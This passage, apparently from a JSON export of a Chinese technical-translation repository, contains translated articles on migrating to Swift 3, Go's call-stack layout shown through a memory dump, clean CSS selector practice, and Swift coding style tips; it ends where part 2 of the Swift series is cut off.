所推演出变量的类型，原来是隐式拆包的，现在变为可选类型了。考虑下面的例子：\n\n```\nfunc doSomething() -> Int! {\n  return 5\n}\n\nvar result = doSomething()\n```\n在 Swift 2.3 里，`result` 的类型被推断为 `Int!`。而在 Swift 3，它的类型是 `Int？`\n\n鉴于上面提到的闭包参数问题，最直接的解决方案就是把你的变量声明为一个隐式拆包类型：\n\n```\nvar result: Int! = doSomething()\n```\n因为桥接的 Objective-C 的初始化方法返回隐式拆包类型，导致这个特殊问题出现的比预期要频繁。\n\n#### 个别的函数编译时间爆炸 ####\n\n在我们代码迁移的工作中，偶尔地，编译器会停顿那么几分钟。\n\n我们项目中的一些函数，需要很多复杂的类型推演。在正常情况下，编译的时间只有一丢丢，但是如果他们包含了编译错误，那编辑器就会一脸懵逼。\n\n在构建过程被这个问题卡住的时候，我们使用 [Xcode 构建时间分析](https://github.com/RobertGummesson/BuildTimeAnalyzer-for-Xcode)工具来帮助我们发现瓶颈所在。接着我们就能专注于这个功能上，暂别我们快乐的转化代码、构建、再转换代码的快乐周期了。\n\n#### 可选协议方法上的 “Near misses”  ####\n\n在转换 Swift 3 的过程中，可选协议方法是很容易忽略的一部分。\n\n考虑 `UICollectionViewDataSource` 上的这个方法：\n\n```\nfunc collectionView(\n  _ collectionView: UICollectionView, \n  viewForSupplementaryElementOfKind kind: String, \n  at indexPath: IndexPath) -> UICollectionReusableView\n```\n假设你的类实现了 `UICollectionViewDataSource`，并且定义了下面这个方法：\n\n```\nfunc collectionView(\n  collectionView: UICollectionView, \n  viewForSupplementaryElementOfKind kind: String, \n  atIndexPath indexPath: IndexPath) -> UICollectionReusableView\n```\n\n你能指出不同吗？很难说。但是他们就是不同的，而且你的类编译的时候正常，因为它是一个可选的函数，没有更新描述的签名。\n\n幸运地，有时候编译警告会帮你发现这些，但不是全部。所以去检查每个协议的可选方法（比如 UIKit 里的代理协议和数据源协议）是否正确是很重要的。搜索像 “`func collectionView(collectionView:`” 这样的文本（注意第一个参数，这是 Swift 2 遗留的标识），可以帮助找到代码里的元凶。\n\n#### 具有默认实现的协议 ####\n\n通过协议扩展，协议本身可以有默认的实现。如果一个协议的方法签名在 Swift 2 到 Swift 3 之间改变了，那确认他们是否在任何地方都改变了就很重要。如果*协议的扩展实现*，或者是*你的类型的实现*是正确的，编译器都会很开心的编译，但是成功的编译并不能保证*两个*实现都是正确的。\n\n#### String 类型的枚举 ####\n\n在 Swift 3 中，枚举的命名被规定为`小驼峰`。Xcode 转换工具自动的对任何现有的枚举进行更改。尽管它会略过值类型为 `String` 的枚举。这么做是有理由的，因为有可能在用 `String` 初始化枚举的时候，匹配到了一个枚举的名字。如果你更改了枚举的名字，那你很有可能破坏某些地方的初始化代码。你可能会出于“完成工作”的目的，把一些枚举小写，但是这么做的前提是，你有足够的信心，不会破坏某些基于 `String` 的初始化。\n\n#### 三方库 API 的改变 ####\n\n和大多数应用一样，我们也依赖了一些三方库。迁移过程需要更新任何用 Swift 编写的三方库。这看上去显而易见，但是仍然值得一提：仔细的阅读发布说明，尤其是你依赖的已经有一个重大版本更改（这可能发生在语言的版本更改的时候）。这帮助我们发现了一些难以发现的 API 更改，编译器做不到这一点。\n\n### 下一步 ###\n\n哇！我们的 `master` 分支现在是 Swift 3 了，Swift 2 没有新开发的功能，所有的迁移工作已经完成了，是这样么？\n\n好吧，不全是。就像前面提到的，在代码转换过程中，我们只做了 Swift 2 和 Swift 3 之间最“表面”的转换。这代表我们还没利用上 Swift 3 的新特性和安全性。\n\n在持续更新的基础上，我们会寻找一些潜在的改进。\n\n#### 更精细的访问控制 ####\n\n默认情况下，Xcode 代码转换工具将 `private` 访问控制符改为 `fileprivate`，`public` 改为 `open`。这代表着一个“表面”的转换，保证代码能继续像以前一样工作。 然而，它也错过了一个机会，来让开发者思考新的 `private` 和 `public` 行为是否能*更好*的工作。下一步是重新查看访问控制符的转换的实例，并检查我们是否可以利用 Swift 3 新增的表达式，来提供更精细的控制。\n\n#### Swift 3 方法命名 ####\n\n在手动转换代码的时候（在 Xcode 转换工具不好使，或者重组的时候），我们经常“表面”的修改方法名字，来让调用会正确的进行。采用 Swift 2.3 的方法签名，像这样：\n\n```\nfunc incrementCounter(counter: Counter, atIndex index: Int)\n```\n\n为了做出最少的改动、最快的修改，能让代码再次 Swift 3 上编译，我们把代码改成了这样：\n\n\n```\nfunc incrementCounter(_ counter: Counter, atIndex index: Int)\n```\n\n尽管，一个更 “Swift 3” 的写法是这样的：\n\n```\nfunc increment(_ counter: Counter, at index: Int)\n```\n\n下一步工作就是找出快捷命名的变量，然后更新方法签名，来更好地跟随 Swift 3 的转变。\n\n#### 更安全的使用隐式解包 ####\n\n如同前面展示的，我么应对新的 Objective-C 闭包参数的做法是转换成自动拆包的可选变量，这避免了更新闭包中的大量代码。而我们现在应该做的是，适当的处理闭包中参数可能是 `nil` 的情况。\n\n#### 修复 ⚠️ ####\n\n为了让代码全速的转换，我们最终忽略了一堆不是特别重要的编译警告，在未来，我们会意识到必须要让警告数量减少。\n\n### 结论 ###\n\n由于 Airbnb 对 Swift 很期待，并且是早期的使用者，我们积累了大量的 Swift 代码。 迁移到 Swift 3 的展望似乎令人望而生畏，并且我们不清楚将如何进行或者说迁移后会对我们的应用造成怎样的影响。如果你还没有决定将你的代码转换为 Swift 3，我们希望我们的经验对你的困惑有一些帮助。\n\n最后，如果你对使用最新的移动技术（比如 Swift 3）来帮助他人感兴趣，[我们正在招聘](https://www.airbnb.com/careers/departments/engineering)\n"
  },
  {
    "path": "TODO/go-function-calls-redux.md",
    "content": "> * 原文地址：[Go Function Calls Redux](https://hackernoon.com/go-function-calls-redux-609fdd1c90fd#.jsh5r78wp)\n> * 原文作者：[Phil Pearl](https://hackernoon.com/@philpearl?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[xiaoyusilen](http://xiaoyu.world)\n> * 校对者：[1992chenlu](https://github.com/1992chenlu)，[Zheaoli](https://github.com/Zheaoli)\n\n# Go 函数调用 Redux #\n\n前段时间在一篇[文章](https://syslog.ravelin.com/anatomy-of-a-function-call-in-go-f6fc81b80ecc#.gpqsgzmjc)中我答应写一篇进一步分析 Go 中如何进行函数调用和堆栈调用在 Go 中如何工作的文章。现在我找到了一种简洁的方式来向大家展示上述内容，所以有了现在这篇文章。\n\n什么是堆栈调用？它是一个用于保存局部变量和调用参数的内存区域，并且跟踪每个函数应该返回到哪里去。每个 goroutine 都有它自己的堆栈。你甚至可以说每个 goroutine 就是它自己的堆栈。\n\n下面是我用于演示堆栈的代码。就是一系列简单的函数调用，main() 函数调用 [f1(0xdeadbeef)](https://en.wikipedia.org/wiki/Hexspeak)，然后调用 `f2(0xabad1dea)`，再调用 `f3(0xbaddcafe)`。然后 `f3()` 将其中一个作为它的参数，并且将它存储在名为 `local` 的本地变量中。然后获取 `local` 的内存地址并且从那里开始输出。因为 `local` 在栈内，所以输出的就是栈。\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"unsafe\"\n)\n\nfunc main() {\n\tf1(0xdeadbeef)\n}\n\nfunc f1(val int) {\n\tf2(0xabad1dea)\n}\n\nfunc f2(val int) {\n\tf3(0xbaddcafe)\n}\n\nfunc f3(val int) {\n\tlocal := val + 1\n\n\tdisplay(uintptr(unsafe.Pointer(&local)))\n}\n\nfunc display(ptr uintptr) {\n\tmem := *(*[20]uintptr)(unsafe.Pointer(ptr))\n\tfor i, x := range mem {\n\t\tfmt.Printf(\"%X: %X\\n\", ptr+uintptr(i*8), x)\n\t}\n\n\tshowFunc(mem[2])\n\tshowFunc(mem[5])\n\tshowFunc(mem[8])\n\tshowFunc(mem[11])\n}\n\nfunc showFunc(at uintptr) {\n\tif f := runtime.FuncForPC(at); f != nil {\n\t\tfile, line := f.FileLine(at)\n\t\tfmt.Printf(\"%X is %s %s %d\\n\", at, f.Name(), file, line)\n\t}\n}\n```\n\n下面是上述代码的输出结果。它是从 `local` 的地址开始的内存转储，是以十六进制形式展示的 8 字节列表。左边是每个整数的存储地址，右边是地址内存储的整数。\n\n我们知道 `local` 应该等于 0xBADDCAFE + 1，或者 0xBADDCAFF，这确实是我们转储开始时看到的。\n\n```\nC42003FF28: BADDCAFF\nC42003FF30: C42003FF48\nC42003FF38: 1088BEB\nC42003FF40: BADDCAFE\nC42003FF48: C42003FF60\nC42003FF50: 1088BAB\nC42003FF58: ABAD1DEA\nC42003FF60: C42003FF78\nC42003FF68: 1088B6B\nC42003FF70: DEADBEEF\nC42003FF78: C42003FFD0\nC42003FF80: 102752A\nC42003FF88: C420064000\nC42003FF90: 0\nC42003FF98: C420064000\nC42003FFA0: 0\nC42003FFA8: 0\nC42003FFB0: 0\nC42003FFB8: 0\nC42003FFC0: C4200001A0\n\n1088BEB is main.f2 /Users/phil/go/src/github.com/philpearl/stack/main.go 19\n\n1088BAB is main.f1 /Users/phil/go/src/github.com/philpearl/stack/main.go 15\n\n1088B6B is main.main /Users/phil/go/src/github.com/philpearl/stack/main.go 11\n\n102752A is runtime.main /usr/local/Cellar/go/1.8/libexec/src/runtime/proc.go 194\n```\n\n- 下一个数字是 0xC42003FF48，它是转储的第五行的地址。\n- 然后我们可以得到 0x1088BEB。事实上这是一个可执行代码的地址，如果我们将它作为 `runtime.FuncForPC` 的参数，我们知道它是 main.go 的第19行代码的地址，也是 f2() 的最后一行代码。这是 f3() 返回时我们得到的地址。\n- 接下来我们得到 0xBADDCAFE，这是我们调用 `f3()` 时的参数。\n\n如果继续我们将看到类似上面的输出结果。下面我已经标记了内存转储，显示堆栈指针如何跟踪转储，参数和返回地址在哪里。\n\n```go\n  C42003FF28: BADDCAFF    Local variable in f3()\n+-C42003FF30: C42003FF48 \n| C42003FF38: 1088BEB     return to f2() main.go line 19\n| C42003FF40: BADDCAFE    f3() parameter\n+-C42003FF48: C42003FF60\n| C42003FF50: 1088BAB     return to f1() main.go line 15\n| C42003FF58: ABAD1DEA    f2() parameter\n+-C42003FF60: C42003FF78\n| C42003FF68: 1088B6B     return to main() main.go line 11\n| C42003FF70: DEADBEEF    f1() parameter\n+-C42003FF78: C42003FFD0\n  C42003FF80: 102752A     return to runtime.main()\n```\n\n通过这些我们可以看出：\n\n- 首先，堆栈从高地址开始，堆栈地址随着函数调用变小。\n- 当进行函数调用时，调用者将参数放入栈内，然后是返回地址（调用函数中的下一条指令的地址），接着是指向堆栈中较高的指针。\n- 当调用返回时，这个指针用于在堆栈中查找先前调用的函数。\n- 局部变量存储在堆栈指针之后。\n\n我们可以使用相同的技巧来分析一些稍微复杂的函数调用。这次，我添加了更多的参数，`f2()` 函数也返回了更多的值。\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"unsafe\"\n)\n\nfunc main() {\n\tf1(0xdeadbeef)\n}\n\nfunc f1(val int) {\n\tf2(0xabad1dea0001, 0xabad1dea0002)\n}\n\nfunc f2(val1, val2 int) (r1, r2 int) {\n\tf3(0xbaddcafe)\n\treturn\n}\n\nfunc f3(val int) {\n\tlocal := val + 1\n\n\tdisplay(uintptr(unsafe.Pointer(&local)))\n}\n```\n\n这次我们直接看被我标记好的输出结果。\n\n```go\n  C42003FF10: BADDCAFF      local variable in f3()\n+-C42003FF18: C42003FF30\n| C42003FF20: 1088BFB       return to f2()\n| C42003FF28: BADDCAFE      f3() parameter\n+-C42003FF30: C42003FF60\n| C42003FF38: 1088BBF       return to f1()\n| C42003FF40: ABAD1DEA0001  f2() first parameter\n| C42003FF48: ABAD1DEA0002  f2() second parameter\n| C42003FF50: 110A100       space for f2() return value\n| C42003FF58: C42000E240    space for f2() return value\n+-C42003FF60: C42003FF78\n| C42003FF68: 1088B6B       return to main()\n| C42003FF70: DEADBEEF      f1() parameter\n+-C42003FF78: C42003FFD0\n  C42003FF80: 102752A       return to runtime.main()\n```\n\n从结果中我们可以看出：\n\n- 调用函数在函数参数之前为被调用函数的返回值提供空间。（注意这些值是没有初始化的，因为这个函数还没有返回！）\n- 参数在栈内的顺序与入栈顺序相反。\n\n希望我都讲清楚了。既然你已经看到这儿了，如果喜欢我的这篇文章或者可以从中学到一点什么的话，那么请给我点个赞。不然我就没办法获得积分。\n\n**Phil 白天在 [ravelin.com](https://ravelin.com) 的工作主要是防止网上欺诈，你可以加入他 https://angel.co/ravelin/jobs。**"
  },
  {
    "path": "TODO/golden-guidelines-for-writing-clean-css.md",
    "content": "> * 原文地址：[Golden Guidelines for Writing Clean CSS](https://www.sitepoint.com/golden-guidelines-for-writing-clean-css/)\n> * 原文作者：本文已获作者 [Tiffany Brown](https://www.sitepoint.com/author/tbrown/) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[reid3290](https://github.com/reid3290)\n> * 校对者：[weapon-xx](https://github.com/weapon-xx)，[bambooom](https://github.com/bambooom)\n\n---\n\n# 编写整洁 CSS 代码的黄金法则\n\n### 编写整洁 CSS 代码的黄金法则\n\n要编写整洁的 CSS 代码，有一些规则是应当极力遵守的，这有助于写出轻量可复用的代码：\n\n- 避免使用全局选择器和元素选择器\n- 避免使用权重（specific）过高的选择器\n- 使用语义化类名\n- 避免 CSS 和标签结构的紧耦合\n\n本文将依次阐述上述规则。\n\n### 避免使用全局选择器\n\n全局选择器包括通配选择器（`*`）、元素选择器（例如`p`、`button`、`h1`等）和属性选择器（例如`[type=checkbox]`），这些选择器下的 CSS 属性会被应用到全站所有符合要求的元素上，例如：\n\n```\nbutton {\n  background: #FFC107;\n  border: 1px outset #FF9800;\n  display: block;\n  font: bold 16px / 1.5 sans-serif;\n  margin: 1rem auto;\n  width: 50%;\n  padding: .5rem;\n}\n```\n\n这段代码看似无伤大雅，但如果我们需要一个样式不同的 `button` 呢？假设需要一个用于关闭对话框组件的 `.close` button：\n\n```\n<section class=\"dialog\">\n  <button type=\"button\" class=\"close\">Close</button>\n</section>\n```\n\n##### 注意: 为什么不使用 `dialog` 元素？\n\n##### 此处使用了 `section` 元素而非 `dialog`，因为只有基于 Blink 内核的浏览器才支持 `dialog` 元素， 例如 Chrome/Chromium、Opera、和 Yandex 等。\n\n现在，需要编写 CSS 代码来覆盖那些不需要继承于 `.button` 的属性：\n\n```\n.close {\n  background: #e00;\n  border: 2px solid #fff;\n  color: #fff;\n  display: inline-block;\n  margin: 0;\n  font-size: 12px;\n  font-weight: normal;\n  line-height: 1;\n  padding: 5px;\n  border-radius: 100px;\n  width: auto;\n}\n```\n\n除此之外，还需要编写大量类似代码来覆盖浏览器的默认样式。但如果将元素选择器 `button` 用类选择器 `.default` 来替代会如何呢？显而易见，`.close` 不再需要指定`display`、`font-weight`、 `line-height`、`margin`、 `padding`和`width`等属性，这便减少了 23% 的代码量：\n\n```\n.default {\n  background: #FFC107;\n  border: 1px outset #FF9800;\n  display: block;\n  font: bold 16px / 1.5 sans-serif;\n  margin: 1rem auto;\n  width: 50%;\n  padding: .5rem;\n}\n\n.close {\n  background: #e00;\n  border: 2px solid #fff;\n  color: #fff;\n  font-size: 12px;\n  padding: 5px;\n  border-radius: 100px;\n}\n```\n\n还有一点同样重要：避免使用全局选择器有助于减少样式冲突，即某个模块（或页面）的样式不会意外地影响到另一个模块（或页面）的样式。\n\n对于重置和统一浏览器默认样式，全局选择器完全适用；但对于其他大部分情况而言，全局选择器只会造成代码臃肿。\n\n### 避免使用权重过高的选择器\n\n保持选择器的低权重是编写轻量级、可复用和可维护的 CSS 代码的又一关键所在。你可能记得什么是权重，元素选择器的权重是 `0,0,1`，而类选择器的权重则是 `0,1,0`：\n\n```\n/* 权重：0,0,1 */\np {\n  color: #222;\n  font-size: 12px;\n}\n\n/* 特殊性：0,1,0 */\n.error {\n  color: #a00;\n}\n```\n\n当为元素选择器加上一个类名后，该选择器的优先级就会高于一般的选择器。没有必要将类选择器和元素选择器组合在一起来提升优先级，这样做会提升选择器的权重和增加文件体积。\n\n换句话说，没有必要使用 `p.error` 这样的选择器，因为仅仅一个 `.error` 就能达到同样的效果；此外 `.error` 还可以被其他元素所复用，而 `p.error` 则会将 `.error` 这个类限制于 `p` 元素上。\n\n#### 避免链接类选择器\n\n还需要避免链接类选择器。形如 `.message.warning` 这样的选择器权重为 `0,2,0`。越高的权重意味着越难进行样式覆盖，而且这种链接还会造成其他副作用。例如：\n\n```\nmessage {\n  background: #eee;\n  border: 2px solid #333;\n  border-radius: 1em;\n  padding: 1em;\n}\n.message.error {\n  background: #f30;\n  color: #fff;\n}\n.error {\n  background: #ff0;\n  border-color: #fc0;\n}\n```\n\n如下图所示，在上述 CSS 的作用下，`<p class=\"message\">` 会得到一个带有深灰色边框和灰色背景的盒子。\n\n![](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/03/1489119564SelectorChainingNoChain.png)\n\n但 `<p class=\"message error\">` 却会得到 `.message.error` 的背景和 `.error` 的边框：\n\n![](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/03/1489119684SelectorChaining.png)\n\n要想覆盖链接在一起的类选择器的样式，只能使用权重更高的选择器。在上例中，要想让边框不是黄色就需要在已有选择器上再加一个类名或一个标签选择器： `.message.warning.exception` 或 `div.message.warning`。更好的做法是创建一个新类。如果你发现你正在链接选择器，那就该回过头重新考量了：要么是设计上存在不一致的地方，要么就是过早尝试避免那些尚不存在的问题。解决这些问题将会带来更高的可维护性和可复用性。\n\n#### 避免使用 `id` 选择器\n\n在一个 HTML 文档中一个 `id` 只能对应一个元素，因此应用于 `id` 选择器的 CSS 规则是很难复用的。这样做一般都会涉及到一系列的 `id` 选择器，例如  `#sidebar-features` 和 `#sidebar-sports`。\n\n此外，`id` 选择器具有很高的权重，要想覆盖它们就必须使用更“长”的选择器。例如下面这段 CSS 代码，为了覆盖 `#sidebar` 的背景颜色属性，必须使用 `#sidebar.sports` 和 `#sidebar.local`：\n\n```\n#sidebar {\n  float: right;\n  width: 25%;\n  background: #eee;\n}\n#sidebar.sports  {\n  background: #d5e3ff;\n}\n#sidebar.local {\n  background: #ffcccc;\n}\n```\n\n改用类选择器，例如 `.sidebar`，可以简化 CSS 选择器：\n\n```\nsidebar {\n  float: right;\n  width: 25%;\n  background: #eee;\n}\n.sports  {\n  background: #d5e3ff;\n}\n.local {\n  background: #ffcccc;\n}\n```\n\n `.sports` 和 `.local` 不仅节省了好几个字节，还可以复用到其他元素上。\n\n使用属性选择器（例如 `[id=sidebar]`）可以解决 `id` 选择器高权重的问题，尽管其复用性不如类选择器，但其低权重可以让我们避免使用链式选择器。\n\n##### 注意:  `id` 选择器的高权重也确有用武之地\n\n在某些情况下，你可能确实需要 `id` 选择器的高特殊性。例如，一些媒体站点可能需要其所有子站都使用同样的导航条组件，该组件必须在所有站点都表现一致并且其样式是难以被覆盖的。此时，使用 `id` 选择器就可以减少导航条样式被意外覆盖的情况。\n\n最后，再来讨论一下形如 `#main article.sports table#stats tr:nth-child(even) td:last-child` 这样的选择器。这条选择器不仅长的离谱，而且其权重为 `2,3,4`，也很难复用。试想 HTML 中会有多少标签真能匹配这一选择器呢？稍作思考，就可以将上述选择器其缩减为 `#stats tr:nth-child(even) td:last-child`，其权重也足够满足需求了。但还有更好的方法既能提高复用性又能减少代码量，也就是使用类选择器。\n\n##### 注意：预处理器嵌套综合症\n\n权重过高的选择器大多源于预处理器中过多的嵌套（译注：此处所指应是 Sass 中选择器嵌套过深）。\n\n#### 使用语义化类名\n\n所谓**语义化**，是指要**有意义** —— 类名应当能够表明其规则有何作用或会作用于哪些内容。此外类名也要能够适应 UI 需求的变化。命名看似简单，实则不然。\n\n例如，不要使用 `.red-text`、`.blue-button`、 `.border-4px` 和  `.margin10px` 这样的类名，这些类名和当前的设计耦合得太紧了。用 `class=\"red-text\"` 来修饰错误信息看似可行，但如果设计稿发生了变化并要求将错误信息用橙底黑字表示呢？这时原有类名就不准确了，使人难以理解代码的真正含义。\n\n在这个例子中，最好使用 `.alert`、`.error`  或是  `.message-error`  这样的类名，这些类名表明了该如何使用它们以及它们会影响哪些内容（即错误信息）。对用于页面布局的类名，不妨加上 `layout-`、 `grid-`、 `col-` 或 `l-` 等前缀，使人一眼可以看出它们的作用。之后关于 BEM 方法论的章节详细阐述了这一过程。\n\n#### 避免 CSS 和标签结构的紧耦合\n\n你可能在代码中使用过子元素选择器和后代选择器。子元素选择器形如 `E > F`，其中 F 是某个元素，而 E 是 F 的**直接**父元素。例如，`article > h1` 会影响 `<article><h1>Advanced CSS</h1></article>` 中的 `h1` 元素，但不会影响 `<article><section><h1>Advanced CSS</h1></section></article>` 中的 `h1` 元素。另一方面，后代选择器形如 `E F`，其中 F 是某个元素而 E 是 F 的祖先元素。还用上述例子，则那两种标签结构中的 `h1` 元素都会受到 `article h1` 的影响。\n\n子元素选择器和后代选择器本身并没有问题，实际上它们在限制 CSS 规则的作用域方面确实发挥着很好的作用。但它们也绝非理想之选，因为标签结构经常会发生改变。\n\n遇到过如下情况的同学请举手：你为某个客户编写了一些模版，并且在 CSS 代码中用到了子元素选择器和后代选择器，并且大多数都是元素选择器，即形如 `.promo > h2` 和 `.media h3` 这样的选择器；后来你的客户又聘请了一位 SEO 技术顾问，他检查了你代码中的标签结构并建议你将 `h2` 和 `h3` 分别改为 `h1` 和  `h2`，这时候问题来了 —— 你必须同时修改 CSS 代码。\n\n在上述情况下，类选择器再一次表现出其优点。使用  `.promo > .headline` 或 `.media .title` （或者更简单一些： `.promo-headline` 和 `.media-title`）使得在改变标签结构的时候无需改变 CSS 代码。\n\n当然，这条规则假设你对标签结构有足够的控制权，这在面对一些遗留的 CMS 系统的时候可能是不现实的，在这种情况下使用子元素选择器、后代选择器和伪类选择器是适当的同时也是必要的。\n\n##### PS：更多架构合理的 CSS 规则\n\nPhilip Walton 在其 [“CSS 架构”](http://philipwalton.com/articles/css-architecture/)一文中讨论了相关规则，有关 CSS 架构的更多想法参见 Roberts 的网站 [CSS 原则](http://cssguidelin.es/) 以及 Nicolas Gallagher 的博客文章 [HTML 语义化及前端架构](http://nicolasgallagher.com/about-html-semantics-front-end-architecture/)。\n\n接下来将会探讨有关 CSS 架构的两种方法，这两种方法主要用于提升大规模团队和大规模站点的开发效率，但对于小团队来说其实也是十分适用的。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/good-swift-bad-swift-part-1.md",
    "content": ">* 原文链接 : [Good Swift, Bad Swift — Part 1](https://medium.com/@ksmandersen/good-swift-bad-swift-part-1-f58f71da3575)\n* 原文作者 : [Kristian Andersen](https://medium.com/@ksmandersen)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [达仔](https://github.com/zhangjd)\n* 校对者: [Nicolas(Yifei) Li](https://github.com/yifili09)、[Jack King](https://github.com/Jack-Kingdom)\n\n\n# 好的与坏的，Swift 语言面面观（一）\n\n在 WWDC 2014（苹果 2014 年开发者大会）发布的 Swift 编程语言，大约在一周内将迎来它的两周岁生日（译注：WWDC 2014 的时间是 2014-6-3）。当时听到这个消息，我们在工作室里兴奋地跳了起来，并从此投入到了 Swift 的怀抱。然而两年时间过去了，我依然在苦苦思索着怎样写出好的 Swift 代码。要知道 Objective-C 已经快有三十年历史了，我们都已经摸索出 Objective-C 的最佳实践，以及什么是好或坏的 Objective-C 代码，然而 Swift 还很年轻。\n\n在这一系列的文章里，我将尝试提炼出我认为的 Swift 语言中好与不好的部分。诚然我不是这方面的专家，我只是希望抛砖引玉，分享我对这个问题的思考，并激励其它开发者（没错就是你）表达自己的见解。如果你对此有任何想法、批评，或者对于好代码的看法，可以在原文下面留言，或者 [在 Twitter 上联系我](http://twitter.com/ksmandersen)。\n\n让我们进入正题。\n\n\n### 使用枚举类型（Enums）避免代码中的字符串输入错误\n\n我早已无法数清我有多少次犯下了同一种错误：花费大量时间在寻找字符串拼写错误导致的各种各样的古怪 bug。枚举类型除了可以帮你节省调试时间外，还可以减少字符输入的时间，因为 XCode 的代码补全功能会推荐定义好的枚举值。\n\n在使用 NSURLSession 的每个项目里，我都包含了下面的代码片段：\n\n    enum HTTPMethod: String {\n        case GET = \"GET\"\n        case POST = \"POST\"\n        case PUT = \"PUT\"\n        case DELETE = \"DELETE\n    }\n\n这是一个非常简单的枚举，我知道大部分的开发者可能都不屑于这么做。然而基于上述原因，我确实是这么使用的。\n\n**更新：** [Tobias Due Munk](https://medium.com/u/82271c72eab3) 指出，你甚至不需要把和键名相同的值字符串写出来，Swift 有更简化的语法。你只需要这样写：\n\n    enum HTTPMethod: String { case GET, POST, PUT, DELETE }\n\n### 使用访问控制关键词限制内容可访问性\n\n稍等一会儿，还记得 public, private, internal 这都是什么鬼吗？为什么会有一种 Java 既视感？就跟大部分 CS（计算机科学）专业毕业生一样，我也写过 Java 代码，可是我不喜欢这门语言及其生态系统。然而，尽管我不喜欢它，但不得不承认这门语言有着一些明智的设计。如果你正在为其他开发者提供 API，而他们不清楚代码的输入输出，此时你就会明白定义完善且文档清晰的 API 的重要性了。因此，合理地添加权限控制关键词到 API 方法中，可以帮助你的用户更好地理解你的 API “表面积”，并寻找到他们想要调用的接口。当然，你也可以写文档来解释应该使用哪些方法，哪些应该保留下来，但是为什么不通过添加关键词来强制实行呢？\n\n让我感到吃惊的是，我曾经和不少开发者聊过，他们并不喜欢添加权限控制关键词。其实对于 iOS/OS X 开发者而言，权限控制的概念并不新鲜。在 Objective-C 中，我们就把“公有的”接口放在 .h 文件中，而把“私有的”接口放在 .m 文件中。\n\n在写 Swift 代码的过程中，我总是遵循“最严格的”原则，在一开始尽可能先把所有类、结构、枚举以及函数设成私有。如果之后我发现需要一个函数暴露在类外，我才会尝试降低这个限制。通过遵循这一原则，我可以实现最小化 API “表面积”，方便其他开发者调用。\n\n### 使用泛型避免 UIKit 模板代码\n\n自从 Swift 出现以后，我就一直在代码逻辑中完全实现 view 和 view controller。作为曾经的 Storyboard 重度用户的我，现在发现把所有的属于视图的代码放在一个地方，比起分开放在 XML 文件和几行逻辑代码更加实用。\n\n在编写了大量 view 和 view controller 代码之后，我遇到了一个难题。因为我更喜欢 auto layout，所以我偏向于不使用参数初始化视图（init:frame 是指定构造器）。如果你在 Swift 中，对于任何的 UIKit 类指定一个无参数的构造函数，你就不得不指定一个 init:coder 构造器。这很烦人，为了避免每次创建视图都写这段模板代码，我创建了一个 “泛型视图类（Generic View Class）” ，让所有视图继承这个类而无需继承 UIView。\n\n    public class GenericView: UIView {\n        public required init() {\n            super.init(frame: CGRect.zero)\n            configureView()\n        }\n             public required init?(coder: NSCoder) {\n            super.init(coder: coder)\n            configureView()\n        }\n       internal func configureView() {}\n    }\n\n这个类同时也表达出我的另一个编程习惯：创建一个 “configureView” 方法，把所有配置视图的操作，包括添加子视图、约束、调整颜色、字体等，全都放到这个方法中。这样的话，无论什么时候创建视图，我都不需要再写一遍上述的模板代码了。\n\n    class AwesomeView: GenericView {\n        override func configureView() {\n            ....\n        }\n    }let awesomeView = AwesomeView()\n\n当你把这个模式配合泛型 view controller 一起使用，效果更佳。\n\n    public class GenericViewController&lt;View: GenericView&gt;: UIViewController {\n        internal var contentView: View {\n            return view as! View\n        }\n        public init() {\n            super.init(nibName: nil, bundle: nil)\n        }\n        public required init?(coder: NSCoder)\n            super.init(coder: coder)\n        }\n        public override func loadView() {\n            view = View()\n        }\n    }\n\n现在要给视图创建 view controller 更加简单了。\n\n    class AwesomeViewController: GenericViewController&lt;AwesomeView&gt; {\n        override func viewDidLoad()\n            super.viewDidLoad()\n            ....\n        }\n    }\n\n我把这个模式的代码抽离出来，放到了一个 [GitHub repo](https://github.com/ksmandersen/GenericViewKit) 中。这套代码可以配合 Carthage 或者 CocoaPods 作为一套框架使用。\n\n我同意这 4 个基类几乎没实现什么功能，也称不上一套框架。之所以发布这套代码，是因为我觉得对于大部分人来说，这种用法是最容易上手的方式。我觉得你完全可以把这几个类复制粘贴到你的代码当中，我预计不会对这套代码作出很大修改了。\n\n以上就是 Swift 语言面面观系列的第一部分，期待大家更多的想法、批评和建议。欢迎在下面留言，或者 [给我发 Twitter](http://twitter.com/ksmandersen)\n\n"
  },
  {
    "path": "TODO/good-swift-bad-swift-part-2.md",
    "content": ">* 原文链接 : [Good Swift, Bad Swift — Part 2](https://medium.com/@ksmandersen/good-swift-bad-swift-part-2-d6daebf53a5)\n* 原文作者 : [Kristian Andersen](https://medium.com/@ksmandersen)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Zheaoli](https://github.com/Zheaoli)\n* 校对者: [owenlyn](https://github.com/owenlyn), [yifili09](https://github.com/yifili09)\n\n# 好的与坏的，Swift 语言面面观（二）\n\n\n不久之前，在我写的[好与坏，Swift面面观 Part1](http://gold.xitu.io/entry/578c647a6be3ff006ce49e91)一文中，我介绍了一些关于在 **Swift** 里怎样去写出优秀代码的小技巧。在 **Swift** 发布到现在的两年里，我花费了很长时间去牢牢掌握最佳的实践方法。欲知详情，请看这篇文章：[好与坏，Swift面面观 Part1](https://medium.com/@ksmandersen/good-swift-bad-swift-part-1-f58f71da3575).\n\n在这个系列的文章中，我将尝试提炼出我认为的 **Swift** 语言中好与不好的部分。唔，我也希望在未来有优秀的 